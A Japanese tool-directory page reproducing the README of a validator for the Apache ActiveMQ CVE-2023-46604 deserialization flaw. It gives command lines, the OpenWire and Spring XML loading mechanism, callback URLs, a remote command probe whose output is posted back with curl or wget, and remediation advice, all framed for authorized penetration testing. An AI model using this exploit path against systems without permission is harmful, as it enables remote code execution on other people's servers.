Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ActiveMQ-CVE-2023-46604 — Apache ActiveMQ CVE-2023-46604用の非破壊バリデータ。細工したOpenWireパケットを送信し、HTTPコールバックサーバーを使用してRCEまたはXMLロードを確認し、許可されたペネトレーションテスト用のCSV/JSON証跡を生成します。 | Kitploit
ツール/GitHubGitHub/bhanunamikaze/activemq-cve-2023-46604
脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubbhanunamikaze/activemq-cve-2023-46604

ActiveMQ-CVE-2023-46604

Apache ActiveMQ CVE-2023-46604用の非破壊バリデータ。細工したOpenWireパケットを送信し、HTTPコールバックサーバーを使用してRCEまたはXMLロードを確認し、許可されたペネトレーションテスト用のCSV/JSON証跡を生成します。

リポジトリを見る
1422日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-46604 ActiveMQ 安全バリデータ

Apache ActiveMQ CVE-2023-46604 向けの単一ファイル・非破壊型バリデータです。独自のHTTPコールバックサーバーを起動し、ターゲット固有のSpring XMLをメモリ上で生成し、細工されたOpenWireパケットを送信し、一意のトークンでコールバックを関連付け、CSV/JSONの証跡を書き出します。

このプロジェクトは、許可されたペネトレーションテストとフリート検証を目的として設計されています。リバースシェル、無制限のコマンド実行、CIDR展開、永続化、ペイロードのステージングは意図的に実装していません。

バリデータが証明すること

2つの固定された証明モードが利用可能です:

  • rce は固定された読み取り専用のIDプローブを実行し、その出力を内蔵HTTPサーバーに返します。コールバックにより、ActiveMQサービスコンテキストでのオペレーティングシステムコマンド実行が確認されます。
  • xml は空のSpringコンテキストを提供します。フェッチにより、細工されたOpenWireメッセージがターゲットに ClassPathXmlApplicationContext をインスタンス化させ、攻撃者が制御するXMLを取得させたことが確認されます。プロセスは起動されません。

XMLファイルを個別に作成またはホストする必要はありません。

特徴

  • Pythonファイル1つ、標準ライブラリのみ
  • 内蔵スレッド化HTTPサーバー
  • 動的なターゲット別XMLおよびコールバックトークン
  • 明示的な単一ターゲットおよび複数ターゲット入力
  • 制限付き並行処理と送信リトライ
  • プレーンOpenWireおよびTLSラップOpenWire対応
  • 固定のLinuxおよびWindows IDプローブ
  • デフォルトでCSV証跡、オプションでJSON
  • 誤った「脆弱性なし」主張を回避する正確な結果状態
  • CI対応の --fail-on-vuln 終了コード

要件

  • Python 3.9以降
  • テストホストからターゲットのOpenWireリスナーへのネットワークアクセス
  • ターゲットから内蔵HTTPコールバックアドレスへのネットワークアクセス
  • すべてのターゲットに対する明示的な許可

デフォルトのOpenWireポートは 61616 ですが、非デフォルトポートにも対応しています。

クイックスタート

例ではドキュメント専用アドレスを使用しています。許可された資産に置き換えてください。

単一のLinuxターゲット

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616 \
  --callback-host 192.0.2.50

スクリプトはTCP/8000でコールバックサーバーを自動起動し、生成されたXMLを提供し、OpenWireパケットを送信し、証跡を待ち、結果テーブルを表示し、以下を書き出します:

root@kitploit:~
activemq-cve-2023-46604-results.csv

複数の明示的ターゲット

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target mq01.example.test:61616 \
  --target mq02.example.test:61616 \
  --target tcp://192.0.2.23:61500 \
  --callback-host 192.0.2.50 \
  --workers 4 \
  --json-output results.json

ターゲットファイル

targets.txt を作成します:

root@kitploit:~
# 1行に1つの明示的に許可されたホスト
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617

実行:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --http-port 8000 \
  --platform linux \
  --proof rce \
  --workers 8 \
  --wait 15 \
  --output findings.csv \
  --json-output findings.json

ターゲットファイルには空行と # で始まるコメントを含めることができます。CIDR展開は意図的にサポートされていません。許可されたインベントリを明示的に列挙してください。

コールバックアドレスの自動検出

単純なルーティングネットワークの場合は、--callback-host を省略します:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616

このツールは、最初のターゲットへのルーティングに使用されるローカル送信元アドレスを選択します。NAT、VPN、コンテナ、ジャンプホスト、マルチホームシステムを介してテストする場合は、--callback-host を指定してください。

WindowsホストのActiveMQ

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.30:61616 \
  --callback-host 192.0.2.50 \
  --platform windows \
  --proof rce

Windowsプローブは、固定された非対話型PowerShellコマンドを使用して、サービスID、コンピューター名、OSバージョンを返します。対話型シェルは提供されません。

XMLロードのみの検証

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --proof xml

このモードでは ProcessBuilder はインスタンス化されません。

TLSラップOpenWire

ssl:// ターゲットを使用します:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50

信頼できない証明書を持つ内部リスナーの場合:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50 \
  --tls-no-verify

--tls-no-verify はOpenWire TLS接続のみに影響します。コールバックサーバーはHTTPです。

結果状態

ステータス意味
CONFIRMED_VULNERABLE_RCEターゲットがXMLを取得し、固定IDコマンドが証跡を返しました。
CONFIRMED_VULNERABLE_XML_LOADxml モードで、ターゲットが一意のXMLドキュメントを取得しました。
VULNERABLE_XML_LOAD_ONLYrce モードで、XML取得は発生しましたが、コマンドコールバックは発生しませんでした。脆弱なクラスインスタンス化パスは確認されましたが、コールバックツール、egress、またはプロセス実行が制限されている可能性があります。
NOT_CONFIRMEDパケットは送信されましたが、期限までに関連するHTTP証跡が届きませんでした。これはホストがパッチ適用済みであることの証明ではありません。
UNREACHABLETCP/TLS接続またはパケット送信に失敗しました。

パッチ適用済みブローカー、誤ったポート、egressフィルタリング、ルーティング問題、TLS不一致、エンドポイント制御はすべて、コールバックベースの検証に影響を与える可能性があります。レポート証跡としてCSV/JSONタイムスタンプとコールバック出力を保存してください。

固定ID証跡

Linux IDプローブは次のような出力を返します:

root@kitploit:~
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...

HTTP POSTには curl、wget、BusyBox wget を試行します。XMLが取得されたがこれらのクライアントが利用できない場合、結果は偽陰性ではなく VULNERABLE_XML_LOAD_ONLY になります。

終了コード

  • 0: 検証が完了したか、--fail-on-vuln なしで脆弱性が見つかった
  • 2: 少なくとも1つの脆弱な結果が見つかり、--fail-on-vuln が指定された
  • argparseエラーは通常の非ゼロのコマンドラインエラーコードを使用

CI使用例:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --fail-on-vuln

仕組み

CVE-2023-46604はJava OpenWireアンマーシャリングに影響します。バリデータは、例外クラスが以下のルーズマーシャルされたOpenWire ExceptionResponse を送信します:

root@kitploit:~
org.springframework.context.support.ClassPathXmlApplicationContext

例外メッセージは、生成されたSpring XMLの一意のURLです。脆弱なActiveMQコードは、そのURLで攻撃者が選択したクラスをインスタンス化します。rce モードでは、Springコンテキストが固定の ProcessBuilder プローブを起動します。xml モードでは、コンテキストは空です。

各ターゲットは異なるトークンを受け取ります。例:

root@kitploit:~
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>

これにより、同時コールバックを正しいターゲットに帰属させることができます。

コマンドリファレンス

root@kitploit:~
--authorized                 必須の許可確認
-t, --target VALUE           明示的ターゲット、繰り返し可能
-T, --targets-file FILE      1行に1つの明示的ターゲット、繰り返し可能
--default-port PORT          デフォルト 61616
--tls                        すべてのターゲットにTLSを使用
--tls-no-verify              OpenWire TLS証明書検証を無効化
--callback-host HOST         ターゲットがHTTPコールバックに使用するアドレス
--bind-host HOST             ローカルHTTPバインドアドレス、デフォルト 0.0.0.0
--http-port PORT             ローカルHTTPポート、デフォルト 8000、0 は空きポートを選択
--proof rce|xml              固定証明モード、デフォルト rce
--platform linux|windows     RCEモードのターゲットOS、デフォルト linux
--workers N                  並列ワーカー、最大 32
--connect-timeout SECONDS    TCP/TLSタイムアウト
--wait SECONDS               コールバック収集ウィンドウ
--retries N                  パケット送信試行回数 1〜3
--retry-delay SECONDS        試行間の遅延
-o, --output FILE            CSV証跡の出力先
--json-output FILE           オプションのJSON出力先
--verbose                    HTTPリクエストログを表示
--fail-on-vuln               脆弱な結果が見つかった場合に終了コード2

テスト

root@kitploit:~
python3 -m unittest discover -s tests -v

テストでは、ターゲット解析、CIDR拒否、XMLの整形式性、OpenWireフレーム構造を、ターゲットに接続せずに検証します。

修復

ActiveMQを修正済みで現在サポートされているリリースにアップグレードしてください。Apacheアドバイザリは、当時の現在のブランチの修正済みリリースとして、ActiveMQ 5.15.16、5.16.7、5.17.6、5.18.3、6.0.0、およびArtemis 2.31.2 を特定しました。また、OpenWireリスナーを信頼できるクライアントに制限し、予期しない外部へのXML取得を監視してください。

安全性と範囲

このリポジトリは、防御的検証と許可されたセキュリティ評価を目的としています。意図的に以下を省略しています:

  • リバースシェルペイロード
  • 任意の --command 実行
  • 実行可能ファイルまたはスクリプトのステージング
  • 永続化
  • 認証攻撃
  • CIDR/レンジ展開

固定IDプローブは、対話型アクセスを確立せずに、リモートコマンド実行とサービスアカウントへの影響を実証するのに十分です。

参考

  • Apache ActiveMQ: https://activemq.apache.org/news/cve-2023-46604
  • Apache ActiveMQ セキュリティアドバイザリ: https://activemq.apache.org/components/classic/security
  • Apache ActiveMQ ソース: https://github.com/apache/activemq
  • Vulhub ラボ: https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604

ライセンス

MIT。 LICENSE を参照してください。

ツールをダウンロード